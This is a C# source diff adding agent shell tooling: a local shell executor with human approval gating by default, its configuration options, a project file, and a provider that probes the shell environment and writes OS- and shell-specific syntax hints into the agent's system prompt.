+/// requires either (a) approval-in-the-loop, where every command is reviewed by a human via the
+/// harness <c>ToolApprovalAgent</c> (this is the default; see
+/// <see cref="AsAIFunction(string, string?, bool)"/>), or (b) container isolation
+/// (<c>DockerShellExecutor</c>). To produce an unapproved <see cref="AIFunction"/> you must pass
+/// <c>acknowledgeUnsafe: true</c> at construction; otherwise <see cref="AsAIFunction"/> will
+/// refuse to return a non-approval-gated function.
+/// </para>
+/// </remarks>
+public sealed class LocalShellExecutor : ShellExecutor
+{
+    /// <summary>
+    /// Recommended default per-command timeout (30 seconds). Pass this
+    /// explicitly via <see cref="LocalShellExecutorOptions.Timeout"/> to opt
+    /// in. Note that <see langword="null"/> (the property default) means
+    /// <em>no timeout</em>.
+    /// </summary>
+    public static readonly TimeSpan DefaultTimeout = TimeSpan.FromSeconds(30);
+
+    private readonly ShellMode _mode;
+    private readonly ShellPolicy _policy;
+    private readonly ResolvedShell _shell;
+    private readonly TimeSpan? _timeout;
+    private readonly int _maxOutputBytes;
+    private readonly string? _workingDirectory;
+    private readonly bool _confineWorkingDirectory;
+    private readonly IReadOnlyDictionary<string, string?>? _environment;
+    private readonly bool _cleanEnvironment;
+    private readonly bool _acknowledgeUnsafe;
+    private ShellSession? _session;
+    private readonly object _sessionGate = new();
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="LocalShellExecutor"/>
+    /// class with default options.
+    /// </summary>
+    public LocalShellExecutor() : this(new LocalShellExecutorOptions())
+    {
+    }
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="LocalShellExecutor"/> class.
+    /// </summary>
+    /// <param name="options">Configuration. <see langword="null"/> selects defaults.</param>
+    public LocalShellExecutor(LocalShellExecutorOptions options)
+    {
+        options ??= new LocalShellExecutorOptions();
+
+        if (options.MaxOutputBytes <= 0)
+        {
+            throw new ArgumentOutOfRangeException(nameof(options), $"{nameof(options.MaxOutputBytes)} must be positive.");
+        }
+        if (options.Shell is not null && options.ShellArgv is not null)
+        {
+            throw new ArgumentException($"Pass either {nameof(options.Shell)} or {nameof(options.ShellArgv)}, not both.", nameof(options));
+        }
+
+        this._mode = options.Mode;
+        this._policy = options.Policy ?? new ShellPolicy();
+        this._shell = options.ShellArgv is not null ? ShellResolver.ResolveArgv(options.ShellArgv) : ShellResolver.Resolve(options.Shell);
+        this._timeout = options.Timeout;
+        this._maxOutputBytes = options.MaxOutputBytes;
+        this._workingDirectory = options.WorkingDirectory;
+        this._confineWorkingDirectory = options.ConfineWorkingDirectory;
+        this._environment = options.Environment;
+        this._cleanEnvironment = options.CleanEnvironment;
+        this._acknowledgeUnsafe = options.AcknowledgeUnsafe;
+
+        if (this._mode == ShellMode.Persistent && this._shell.Kind == ShellKind.Cmd)
+        {
+            throw new NotSupportedException(
+                "Persistent mode is not supported for cmd.exe — use pwsh/powershell or override the shell with AGENT_FRAMEWORK_SHELL.");
+        }
+    }
+
+    /// <summary>Gets the resolved shell binary that will host commands.</summary>
+    public string ResolvedShellBinary => this._shell.Binary;
+
+    /// <summary>
+    /// Run a single command and return its result.
+    /// </summary>
+    /// <param name="command">The command to execute.</param>
+    /// <param name="cancellationToken">Cancellation token.</param>
+    /// <returns>The captured <see cref="ShellResult"/>.</returns>
+    /// <exception cref="ShellCommandRejectedException">Thrown when the policy denies the command.</exception>
+    public override async Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default)
+    {
+        if (command is null)
+        {
+            throw new ArgumentNullException(nameof(command));
+        }
+
+        var decision = this._policy.Evaluate(new ShellRequest(command, this._workingDirectory));
+        if (!decision.Allowed)
+        {
+            throw new ShellCommandRejectedException(
+                $"Command rejected by policy: {decision.Reason ?? "(unspecified)"}");
+        }
+
+        return this._mode == ShellMode.Persistent
+            ? await this.RunPersistentAsync(command, cancellationToken).ConfigureAwait(false)
+            : await this.RunStatelessAsync(command, cancellationToken).ConfigureAwait(false);
+    }
+
+    private async Task<ShellResult> RunPersistentAsync(string command, CancellationToken cancellationToken)
+    {
+        ShellSession session;
+        lock (this._sessionGate)
+        {
+            this._session ??= new ShellSession(
+                this._shell,
+                this._workingDirectory,
+                this._confineWorkingDirectory,
+                this._environment,
+                this._cleanEnvironment,
+                this._maxOutputBytes);
+            session = this._session;
+        }
+        return await session.RunAsync(command, this._timeout, cancellationToken).ConfigureAwait(false);
+    }
+
+    /// <inheritdoc />
+    public override Task InitializeAsync(CancellationToken cancellationToken = default)
+    {
+        if (this._mode != ShellMode.Persistent)
+        {
+            return Task.CompletedTask;
+        }
+        ShellSession session;
+        lock (this._sessionGate)
+        {
+            this._session ??= new ShellSession(
+                this._shell,
+                this._workingDirectory,
+                this._confineWorkingDirectory,
+                this._environment,
+                this._cleanEnvironment,
+                this._maxOutputBytes);
+            session = this._session;
+        }
+        // Force a tiny no-op so the session spawns now rather than lazily.
+        return session.RunAsync(this._shell.Kind == ShellKind.PowerShell ? "$null" : ":", this._timeout, cancellationToken);
+    }
+
+    private async Task<ShellResult> RunStatelessAsync(string command, CancellationToken cancellationToken)
+    {
+        var startInfo = new ProcessStartInfo
+        {
+            FileName = this._shell.Binary,
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            RedirectStandardInput = false,
+            UseShellExecute = false,
+            CreateNoWindow = true,
+            WorkingDirectory = this._workingDirectory ?? Directory.GetCurrentDirectory(),
+        };
+
+        foreach (var arg in this._shell.StatelessArgvForCommand(command))
+        {
+            startInfo.ArgumentList.Add(arg);
+        }
+
+        if (this._cleanEnvironment)
+        {
+            EnvironmentSanitizer.RemoveNonPreserved(startInfo.Environment);
+        }
+
+        if (this._environment is not null)
+        {
+            foreach (var kv in this._environment)
+            {
+                if (kv.Value is null)
+                {
+                    _ = startInfo.Environment.Remove(kv.Key);
+                }
+                else
+                {
+                    startInfo.Environment[kv.Key] = kv.Value;
+                }
+            }
+        }
+
+        // PowerShell defaults to non-UTF8 output redirection; force UTF-8 to avoid mojibake.
+        if (this._shell.Kind == ShellKind.PowerShell)
+        {
+            startInfo.Environment["PSDefaultParameterValues"] = "Out-File:Encoding=utf8";
+        }
+
+        using var process = new Process { StartInfo = startInfo, EnableRaisingEvents = true };
+        var stdoutBuf = new HeadTailBuffer(this._maxOutputBytes);
+        var stderrBuf = new HeadTailBuffer(this._maxOutputBytes);
+
+        process.OutputDataReceived += (_, e) =>
+        {
+            if (e.Data is null) { return; }
+            stdoutBuf.AppendLine(e.Data);
+        };
+        process.ErrorDataReceived += (_, e) =>
+        {
+            if (e.Data is null) { return; }
+            stderrBuf.AppendLine(e.Data);
+        };
+
+        var stopwatch = Stopwatch.StartNew();
+        try
+        {
+            _ = process.Start();
+        }
+        catch (Win32Exception ex)
+        {
+            throw new IOException(
+                $"Failed to launch shell '{this._shell.Binary}': {ex.Message}", ex);
+        }
+
+        process.BeginOutputReadLine();
+        process.BeginErrorReadLine();
+
+        var timedOut = false;
+        using var timeoutCts = this._timeout is null
+            ? new CancellationTokenSource()
+            : new CancellationTokenSource(this._timeout.Value);
+        using var linkedCts = CancellationTokenSource.CreateLinkedTokenSource(
+            cancellationToken, timeoutCts.Token);
+
+        try
+        {
+            await process.WaitForExitAsync(linkedCts.Token).ConfigureAwait(false);
+        }
+        catch (OperationCanceledException) when (timeoutCts.IsCancellationRequested && !cancellationToken.IsCancellationRequested)
+        {
+            timedOut = true;
+        }
+        catch (OperationCanceledException)
+        {
+            KillProcessTree(process);
+            throw;
+        }
+
+        if (timedOut)
+        {
+            KillProcessTree(process);
+            try
+            {
+                await process.WaitForExitAsync(CancellationToken.None).ConfigureAwait(false);
+            }
+            catch (Exception ex) when (ex is InvalidOperationException || ex is Win32Exception)
+            {
+                // Best-effort shutdown after timeout — process may already be reaped.
+            }
+        }
+
+        stopwatch.Stop();
+
+        // Drain the async readers — WaitForExit doesn't guarantee the
+        // OutputDataReceived/ErrorDataReceived events have all fired.
+        process.WaitForExit();
+
+        var (stdout, soutTrunc) = stdoutBuf.ToFinalString();
+        var (stderr, serrTrunc) = stderrBuf.ToFinalString();
+
+        return new ShellResult(
+            Stdout: stdout,
+            Stderr: stderr,
+            ExitCode: timedOut ? 124 : process.ExitCode,
+            Duration: stopwatch.Elapsed,
+            Truncated: soutTrunc || serrTrunc,
+            TimedOut: timedOut);
+    }
+
+    /// <summary>
+    /// Build an <see cref="AIFunction"/> bound to this tool, suitable for
+    /// adding to <see cref="ChatOptions.Tools"/>.
+    /// </summary>
+    /// <param name="name">Function name surfaced to the model. Defaults to <c>run_shell</c>.</param>
+    /// <param name="description">Function description for the model.</param>
+    /// <param name="requireApproval">
+    /// When <see langword="true"/> (the default) the returned function is wrapped in
+    /// <see cref="ApprovalRequiredAIFunction"/>, so any agent built with
+    /// <c>UseFunctionInvocation()</c> + <c>UseToolApproval()</c> will surface a
+    /// <see cref="ToolApprovalRequestContent"/> that the harness can present to the user
+    /// before the command runs. This is the security boundary for the local shell tool —
+    /// disable only if you are intentionally running unattended (e.g. in a sandboxed
+    /// container where the tool itself is the boundary).
+    /// </param>
+    /// <returns>An <see cref="AIFunction"/> wrapping <see cref="RunAsync"/>.</returns>
+    public AIFunction AsAIFunction(string name = "run_shell", string? description = null, bool requireApproval = true)
+    {
+        if (!requireApproval && !this._acknowledgeUnsafe)
+        {
+            throw new InvalidOperationException(
+                "Refusing to produce an AIFunction without approval gating. " +
+                "Pass `acknowledgeUnsafe: true` to the LocalShellExecutor constructor to opt out, " +
+                "or leave `requireApproval: true` (the default).");
+        }
+
+        description ??= this.BuildDefaultDescription();
+
+        var fn = AIFunctionFactory.Create(
+            async ([Description("The shell command to execute.")] string command,
+                CancellationToken cancellationToken) =>
+            {
+                try
+                {
+                    var result = await this.RunAsync(command, cancellationToken).ConfigureAwait(false);
+                    return result.FormatForModel();
+                }
+                catch (ShellCommandRejectedException ex)
+                {
+                    // ex.Message already starts with "Command rejected by policy: ...".
+                    return ex.Message;
+                }
+            },
+            new AIFunctionFactoryOptions
+            {
+                Name = name,
+                Description = description,
+            });
+
+        return requireApproval ? new ApprovalRequiredAIFunction(fn) : fn;
+    }
+
+    /// <inheritdoc />
+    public override async ValueTask DisposeAsync()
+    {
+        ShellSession? session;
+        lock (this._sessionGate)
+        {
+            session = this._session;
+            this._session = null;
+        }
+        if (session is not null)
+        {
+            await session.DisposeAsync().ConfigureAwait(false);
+        }
+    }
+
+    private string BuildDefaultDescription()
+    {
+        var sb = new StringBuilder();
+        _ = sb.Append("Execute a single shell command on the local machine and return its stdout, stderr, and exit code.");
+        _ = sb.Append(' ');
+
+        var os = System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.Windows) ? "Windows"
+            : System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.OSX) ? "macOS"
+            : System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.Linux) ? "Linux"
+            : "POSIX";
+        _ = sb.Append("Operating system: ").Append(os).Append(". ");
+
+        var shellName = this._shell.Kind switch
+        {
+            ShellKind.PowerShell => "PowerShell (pwsh)",
+            ShellKind.Cmd => "cmd.exe",
+            ShellKind.Bash => "bash",
+            ShellKind.Sh => "POSIX sh (dash/ash)",
+            _ => "POSIX shell",
+        };
+        _ = sb.Append("Shell: ").Append(shellName).Append(" (binary: '").Append(this._shell.Binary).Append("'). ");
+
+        if (this._shell.Kind == ShellKind.PowerShell)
+        {
+            _ = sb.Append(
+                "Use PowerShell syntax — NOT bash/sh. Equivalents: ");
+            _ = sb.Append("`cd $env:TEMP` (NOT `cd /tmp`); ");
+            _ = sb.Append("`$env:VAR = 'x'` (NOT `VAR=x` or `export VAR=x`); ");
+            _ = sb.Append("`$env:VAR` (NOT `$VAR`); ");
+            _ = sb.Append("`Get-ChildItem` or `dir` (NOT `ls -la`); ");
+            _ = sb.Append("`Get-Content` or `cat` (built-in alias works); ");
+            _ = sb.Append("`Where-Object` / `Select-String` (NOT `grep`). ");
+        }
+        else if (this._shell.Kind is ShellKind.Bash or ShellKind.Sh)
+        {
+            _ = sb.Append("Use POSIX shell syntax. ");
+            if (this._shell.Kind == ShellKind.Sh)
+            {
+                _ = sb.Append("This is a minimal POSIX sh (likely dash/ash) — avoid bash-only features like `[[ ... ]]`, arrays, `<<<` here-strings, or `set -o pipefail`. ");
+            }
+        }
+
+        if (this._mode == ShellMode.Persistent)
+        {
+            _ = sb.Append(
+                "PERSISTENT MODE: a single long-lived shell handles every call. " +
+                "`cd`, exported / `$env:` variables, and function definitions DO persist across calls. " +
+                "Use this to your advantage: change directory once, then run subsequent commands without re-cd'ing.");
+        }
+        else
+        {
+            _ = sb.Append(
+                "STATELESS MODE: each call runs in a fresh shell. " +
+                "Working directory and environment variables DO NOT carry across calls — combine related steps into one command if state matters.");
+        }
+
+        _ = sb.Append(' ');
+        if (this._timeout is { } t)
+        {
+            _ = sb.Append("Per-call timeout: ").Append((int)t.TotalSeconds).Append("s. ");
+        }
+        _ = sb.Append("Output is truncated to ").Append(this._maxOutputBytes).Append(" bytes (head + tail). ");
+        _ = sb.Append("The user reviews and approves every call.");
+
+        return sb.ToString();
+    }
+
+    private static void KillProcessTree(Process process)
+    {
+        try
+        {
+#if NET5_0_OR_GREATER
+            process.Kill(entireProcessTree: true);
+#else
+            process.Kill();
+#endif
+        }
+        catch (InvalidOperationException)
+        {
+            // Process already exited.
+        }
+        catch (Win32Exception)
+        {
+            // Best-effort tree-kill — child has likely already exited.
+        }
+    }
+}
+
+/// <summary>
+/// Thrown when <see cref="LocalShellExecutor"/> rejects a command via its policy.
+/// </summary>
+public sealed class ShellCommandRejectedException : Exception
+{
+    /// <summary>Initializes a new instance of the <see cref="ShellCommandRejectedException"/> class.</summary>
+    /// <param name="message">The exception message.</param>
+    public ShellCommandRejectedException(string message) : base(message)
+    {
+    }
+
+    /// <summary>Initializes a new instance of the <see cref="ShellCommandRejectedException"/> class.</summary>
+    /// <param name="message">The exception message.</param>
+    /// <param name="inner">The inner exception.</param>
+    public ShellCommandRejectedException(string message, Exception inner) : base(message, inner)
+    {
+    }
+
+    /// <summary>Initializes a new instance of the <see cref="ShellCommandRejectedException"/> class.</summary>
+    public ShellCommandRejectedException()
+    {
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Configuration for <see cref="LocalShellExecutor"/>. New knobs will be
+/// added as properties here so the constructor surface stays binary-stable.
+/// </summary>
+public sealed class LocalShellExecutorOptions
+{
+    /// <summary>
+    /// Execution mode. Defaults to <see cref="ShellMode.Persistent"/>.
+    /// <para>
+    /// In <see cref="ShellMode.Persistent"/> the resulting executor instance is owned by
+    /// a single conversation / agent session; do not share it across users or concurrent
+    /// sessions. See <see cref="LocalShellExecutor"/> remarks.
+    /// </para>
+    /// </summary>
+    public ShellMode Mode { get; set; } = ShellMode.Persistent;
+
+    /// <summary>
+    /// Override path to the shell binary. Falls back to the
+    /// <c>AGENT_FRAMEWORK_SHELL</c> environment variable, then OS defaults.
+    /// Mutually exclusive with <see cref="ShellArgv"/>.
+    /// </summary>
+    public string? Shell { get; set; }
+
+    /// <summary>
+    /// Override argv for the shell launch. The first element is the binary;
+    /// subsequent elements are passed as a launch-time prefix. Mutually
+    /// exclusive with <see cref="Shell"/>.
+    /// </summary>
+    public IReadOnlyList<string>? ShellArgv { get; set; }
+
+    /// <summary>
+    /// Working directory for the spawned shell. Defaults to the current
+    /// process directory. Required when <see cref="ConfineWorkingDirectory"/>
+    /// is <see langword="true"/>.
+    /// </summary>
+    public string? WorkingDirectory { get; set; }
+
+    /// <summary>
+    /// When <see langword="true"/> (the default), every command in
+    /// persistent mode is prefixed with a <c>cd</c> back into
+    /// <see cref="WorkingDirectory"/> so a wandering <c>cd</c> in one call
+    /// doesn't leak to the next.
+    /// </summary>
+    public bool ConfineWorkingDirectory { get; set; } = true;
+
+    /// <summary>
+    /// Extra environment variables. Pass a <see langword="null"/> value to
+    /// remove an inherited variable.
+    /// </summary>
+    public IReadOnlyDictionary<string, string?>? Environment { get; set; }
+
+    /// <summary>
+    /// When <see langword="true"/>, the spawned shell does not inherit the
+    /// parent process environment.
+    /// </summary>
+    public bool CleanEnvironment { get; set; }
+
+    /// <summary>
+    /// Optional <see cref="ShellPolicy"/>. When <see langword="null"/>,
+    /// a default (empty) policy is used that allows any non-empty command.
+    /// Supply a <see cref="ShellPolicy"/> with explicit deny/allow
+    /// patterns if you want pre-execution rejection of specific command
+    /// shapes; note that pattern matching is a UX pre-filter, not a
+    /// security control (see <see cref="ShellPolicy"/> remarks).
+    /// </summary>
+    public ShellPolicy? Policy { get; set; }
+
+    /// <summary>
+    /// Per-command timeout. <see langword="null"/> (the default) disables
+    /// timeouts. See <see cref="LocalShellExecutor.DefaultTimeout"/> for the
+    /// recommended value.
+    /// </summary>
+    public TimeSpan? Timeout { get; set; }
+
+    /// <summary>Per-stream cap before head+tail truncation. Defaults to 64 KiB.</summary>
+    public int MaxOutputBytes { get; set; } = 64 * 1024;
+
+    /// <summary>
+    /// Set to <see langword="true"/> to allow
+    /// <see cref="LocalShellExecutor.AsAIFunction"/> to produce an
+    /// AIFunction without an <c>ApprovalRequiredAIFunction</c> wrapper.
+    /// </summary>
+    public bool AcknowledgeUnsafe { get; set; }
+}
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+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <!-- Modern targets only; the underlying P/Invokes (setsid) and
+         async patterns are not validated against netstandard2.0/net472. -->
+    <TargetFrameworks>$(TargetFrameworksCore)</TargetFrameworks>
+    <RootNamespace>Microsoft.Agents.AI.Tools.Shell</RootNamespace>
+    <VersionSuffix>preview</VersionSuffix>
+  </PropertyGroup>
+
+  <PropertyGroup>
+    <InjectSharedThrow>true</InjectSharedThrow>
+    <InjectSharedDiagnosticIds>true</InjectSharedDiagnosticIds>
+    <InjectExperimentalAttributeOnLegacy>true</InjectExperimentalAttributeOnLegacy>
+  </PropertyGroup>
+
+  <Import Project="$(RepoRoot)/dotnet/nuget/nuget-package.props" />
+
+  <!-- These must appear AFTER the nuget-package.props import so they
+       override the shared defaults rather than being overwritten by them. -->
+  <PropertyGroup>
+    <Title>Microsoft Agent Framework - Shell Tools</Title>
+    <Description>Cross-platform shell tools for the Microsoft Agent Framework. Includes LocalShellExecutor and DockerShellExecutor with approval-in-the-loop semantics, plus ShellEnvironmentProvider for environment-aware system prompts.</Description>
+  </PropertyGroup>
+
+  <!-- Disable package validation baseline until the first release -->
+  <PropertyGroup>
+    <PackageValidationBaselineVersion />
+    <EnablePackageValidation>false</EnablePackageValidation>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <PackageReference Include="Microsoft.Extensions.AI" />
+  </ItemGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="..\Microsoft.Agents.AI.Abstractions\Microsoft.Agents.AI.Abstractions.csproj" />
+  </ItemGroup>
+
+  <ItemGroup>
+    <InternalsVisibleTo Include="Microsoft.Agents.AI.Tools.Shell.UnitTests" />
+  </ItemGroup>
+
+</Project>
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// An <see cref="AIContextProvider"/> that probes the underlying shell
+/// (OS, shell family/version, working directory, available CLI tools)
+/// once per session and injects an authoritative instructions block so
+/// the agent emits commands in the correct shell idiom.
+/// </summary>
+/// <remarks>
+/// <para>
+/// This addresses a common failure mode where a model defaults to bash
+/// syntax while talking to a PowerShell session (or vice versa). Probes
+/// run through the supplied <see cref="ShellExecutor"/>, so the same
+/// provider works for both <see cref="LocalShellExecutor"/> (host shell) and
+/// <see cref="DockerShellExecutor"/> (container shell).
+/// </para>
+/// <para>
+/// The provider does not expose any new tools; it augments the system
+/// prompt only (<see cref="AIContext.Instructions"/>). Probe failures
+/// are swallowed in a narrow set of cases — per-probe timeout
+/// (<see cref="TimeoutException"/>, or an
+/// <see cref="OperationCanceledException"/> caused by the
+/// <see cref="ShellEnvironmentProviderOptions.ProbeTimeout"/> linked
+/// token), policy rejection (<see cref="ShellCommandRejectedException"/>),
+/// and process spawn / pipe failures (<see cref="IOException"/>) —
+/// and surfaced as <see langword="null"/> entries in the snapshot.
+/// Caller-requested cancellation (a <see cref="CancellationToken"/>
+/// passed in by the host) is NOT swallowed and propagates as an
+/// <see cref="OperationCanceledException"/> so shutdown paths work.
+/// Other exceptions (e.g. argument errors, internal bugs) propagate
+/// normally. A missing CLI never fails the agent: the model simply
+/// sees fewer hints in its system prompt.
+/// </para>
+/// <para>
+/// <b>Why <see cref="AIContext.Instructions"/> rather than
+/// <see cref="AIContext.Messages"/>?</b> The shell environment
+/// (OS, family, version, CWD, available CLIs) is stable runtime
+/// metadata, not per-turn retrieved data. The framework's
+/// <c>AgentSkillsProvider</c> uses <c>Instructions</c> for the same
+/// reason; <c>TextSearchProvider</c> and <c>ChatHistoryMemoryProvider</c>
+/// use <c>Messages</c> for retrieval payloads that are <em>about</em>
+/// the user's question. System-prompt steering also has higher weight
+/// in major providers (OpenAI, Anthropic) and benefits from prompt
+/// caching, so injecting the env block as a fake user message would
+/// be both weaker and more expensive.
+/// </para>
+/// </remarks>
+public sealed class ShellEnvironmentProvider : AIContextProvider
+{
+    private readonly ShellExecutor _executor;
+    private readonly ShellEnvironmentProviderOptions _options;
+    private Task<ShellEnvironmentSnapshot>? _snapshotTask;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="ShellEnvironmentProvider"/> class.
+    /// </summary>
+    /// <param name="executor">The shell executor used to run probe commands.</param>
+    /// <param name="options">Optional configuration; defaults are used when <see langword="null"/>.</param>
+    /// <exception cref="ArgumentNullException"><paramref name="executor"/> is <see langword="null"/>.</exception>
+    public ShellEnvironmentProvider(ShellExecutor executor, ShellEnvironmentProviderOptions? options = null)
+    {
+        this._executor = executor ?? throw new ArgumentNullException(nameof(executor));
+        this._options = options ?? new ShellEnvironmentProviderOptions();
+    }
+
+    /// <summary>
+    /// Gets the most recently captured snapshot, or <see langword="null"/>
+    /// if no probe has completed yet.
+    /// </summary>
+    public ShellEnvironmentSnapshot? CurrentSnapshot { get; private set; }
+
+    /// <summary>
+    /// Force a re-probe and refresh the cached snapshot. Useful when the
+    /// agent has changed something the snapshot depends on (e.g., installed
+    /// a new CLI mid-session).
+    /// </summary>
+    /// <param name="cancellationToken">Cancellation token.</param>
+    /// <returns>The freshly captured snapshot.</returns>
+    public async Task<ShellEnvironmentSnapshot> RefreshAsync(CancellationToken cancellationToken = default)
+    {
+        var snapshot = await this.ProbeAsync(cancellationToken).ConfigureAwait(false);
+        this.CurrentSnapshot = snapshot;
+        this._snapshotTask = Task.FromResult(snapshot);
+        return snapshot;
+    }
+
+    /// <inheritdoc />
+    protected override async ValueTask<AIContext> ProvideAIContextAsync(InvokingContext context, CancellationToken cancellationToken = default)
+    {
+        // First-call wins: subsequent concurrent callers await the same Task.
+        // If the cached task faults or is cancelled, clear it so the next call
+        // re-probes instead of permanently poisoning the provider.
+        var task = this._snapshotTask;
+        if (task is null)
+        {
+            var fresh = this.ProbeAsync(cancellationToken);
+            task = Interlocked.CompareExchange(ref this._snapshotTask, fresh, null) ?? fresh;
+        }
+
+        ShellEnvironmentSnapshot snapshot;
+        try
+        {
+            snapshot = await task.ConfigureAwait(false);
+        }
+        catch
+        {
+            // Replace the cached failed task with null only if no other thread
+            // has already done so. Concurrent waiters will all observe the
+            // failure once, but the next call starts a fresh probe.
+            _ = Interlocked.CompareExchange(ref this._snapshotTask, null, task);
+            throw;
+        }
+
+        this.CurrentSnapshot = snapshot;
+        var formatter = this._options.InstructionsFormatter ?? DefaultInstructionsFormatter;
+        return new AIContext { Instructions = formatter(snapshot) };
+    }
+
+    private async Task<ShellEnvironmentSnapshot> ProbeAsync(CancellationToken cancellationToken)
+    {
+        var family = this._options.OverrideFamily ?? DetectFamily();
+
+        await this._executor.InitializeAsync(cancellationToken).ConfigureAwait(false);
+
+        var (shellVersion, workingDir) = await this.ProbeShellAndCwdAsync(family, cancellationToken).ConfigureAwait(false);
+
+        var toolVersions = new Dictionary<string, string?>(StringComparer.OrdinalIgnoreCase);
+        foreach (var tool in this._options.ProbeTools)
+        {
+            // ProbeTools is user-supplied. Skip duplicates that differ only by
+            // case (e.g., "git" and "GIT") so we don't probe the same CLI twice
+            // and don't depend on dictionary insertion order for the result.
+            if (toolVersions.ContainsKey(tool))
+            {
+                continue;
+            }
+            toolVersions[tool] = await this.ProbeToolVersionAsync(tool, cancellationToken).ConfigureAwait(false);
+        }
+
+        return new ShellEnvironmentSnapshot(
+            Family: family,
+            OSDescription: RuntimeInformation.OSDescription,
+            ShellVersion: shellVersion,
+            WorkingDirectory: workingDir,
+            ToolVersions: toolVersions);
+    }
+
+    private async Task<(string? Version, string Cwd)> ProbeShellAndCwdAsync(ShellFamily family, CancellationToken cancellationToken)
+    {
+        var probe = family == ShellFamily.PowerShell
+            ? "Write-Output (\"VERSION=\" + $PSVersionTable.PSVersion.ToString()); Write-Output (\"CWD=\" + (Get-Location).Path)"
+            : "echo \"VERSION=${BASH_VERSION:-${ZSH_VERSION:-unknown}}\"; echo \"CWD=$PWD\"";
+
+        var result = await this.RunProbeAsync(probe, cancellationToken).ConfigureAwait(false);
+        if (result is null)
+        {
+            return (null, string.Empty);
+        }
+
+        string? version = null;
+        string cwd = string.Empty;
+        foreach (var line in result.Stdout.Split(['\r', '\n'], StringSplitOptions.RemoveEmptyEntries))
+        {
+            if (line.StartsWith("VERSION=", StringComparison.Ordinal))
+            {
+                var v = line.Substring("VERSION=".Length).Trim();
+                version = string.IsNullOrEmpty(v) || v == "unknown" ? null : v;
+            }
+            else if (line.StartsWith("CWD=", StringComparison.Ordinal))
+            {
+                cwd = line.Substring("CWD=".Length).Trim();
+            }
+        }
+        return (version, cwd);
+    }
+
+    private static readonly System.Text.RegularExpressions.Regex s_toolNamePattern =
+        new("^[A-Za-z0-9._-]+$", System.Text.RegularExpressions.RegexOptions.Compiled);
+
+    private async Task<string?> ProbeToolVersionAsync(string tool, CancellationToken cancellationToken)
+    {
+        // The tool name is interpolated into a shell command, so reject anything that
+        // isn't a plain identifier. Whitespace, quotes, $, ;, |, &, etc. are not valid
+        // in any real CLI binary name and would otherwise allow shell injection if the
+        // configured tool list is sourced from untrusted input.
+        if (string.IsNullOrEmpty(tool) || !s_toolNamePattern.IsMatch(tool))
+        {
+            return null;
+        }
+
+        var probe = $"{tool} --version";
+        var result = await this.RunProbeAsync(probe, cancellationToken).ConfigureAwait(false);
+        if (result is null || result.ExitCode != 0)
+        {
+            return null;
+        }
+
+        // Some CLIs (java, gcc on older versions) emit `--version` to stderr.
+        var firstLine = FirstNonEmptyLine(result.Stdout) ?? FirstNonEmptyLine(result.Stderr);
+        return string.IsNullOrWhiteSpace(firstLine) ? null : firstLine!.Trim();
+
+        static string? FirstNonEmptyLine(string text) =>
+            text.Split(['\r', '\n'], StringSplitOptions.RemoveEmptyEntries).FirstOrDefault();
+    }
+
+    private async Task<ShellResult?> RunProbeAsync(string command, CancellationToken cancellationToken)
+    {
+        using var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+        cts.CancelAfter(this._options.ProbeTimeout);
+        try
+        {
+            return await this._executor.RunAsync(command, cts.Token).ConfigureAwait(false);
+        }
+        catch (OperationCanceledException) when (!cancellationToken.IsCancellationRequested)
+        {
+            // Probe-timeout-driven cancellation: surface as a null snapshot field.
+            // Caller-driven cancellation is allowed to propagate.
+            return null;
+        }
+        catch (Exception ex) when (ex is ShellCommandRejectedException || ex is IOException || ex is TimeoutException)
+        {
+            return null;
+        }
+    }
+
+    private static ShellFamily DetectFamily() =>
+        RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? ShellFamily.PowerShell
+            : ShellFamily.Posix;
+
+    /// <summary>
+    /// Default formatter for the instructions block. Public so callers
+    /// who want to wrap or augment the default can call it directly.
+    /// </summary>
+    /// <param name="snapshot">The snapshot to render.</param>
+    /// <returns>A multi-line markdown-style instructions block.</returns>
+    public static string DefaultInstructionsFormatter(ShellEnvironmentSnapshot snapshot)
+    {
+        var sb = new StringBuilder();
+        _ = sb.AppendLine("## Shell environment");
+
+        if (snapshot.Family == ShellFamily.PowerShell)
+        {
+            var version = snapshot.ShellVersion is null ? string.Empty : $" {snapshot.ShellVersion}";
+            _ = sb.Append("You are operating a PowerShell").Append(version).Append(" session on ").Append(snapshot.OSDescription).AppendLine(".");
+            _ = sb.AppendLine("Use PowerShell idioms, NOT bash:");
+            _ = sb.AppendLine("- Set environment variables with `$env:NAME = 'value'` (NOT `NAME=value`).");
+            _ = sb.AppendLine("- Change directory with `Set-Location` or `cd`. Paths use `\\` separators.");
+            _ = sb.AppendLine("- Reference environment variables as `$env:NAME` (NOT `$NAME`).");
+            _ = sb.AppendLine("- The system temp directory is `[System.IO.Path]::GetTempPath()` (NOT `/tmp`).");
+            _ = sb.AppendLine("- Pipe to `Out-Null` to suppress output (NOT `> /dev/null`).");
+        }
+        else
+        {
+            var version = snapshot.ShellVersion is null ? string.Empty : $" {snapshot.ShellVersion}";
+            _ = sb.Append("You are operating a POSIX shell").Append(version).Append(" session on ").Append(snapshot.OSDescription).AppendLine(".");
+            _ = sb.AppendLine("Use POSIX shell idioms (bash/sh).");
+            _ = sb.AppendLine("- Set environment variables for the next command with `export NAME=value`.");
+            _ = sb.AppendLine("- Reference environment variables as `$NAME` or `${NAME}`.");
+            _ = sb.AppendLine("- Paths use `/` separators.");
+        }
+
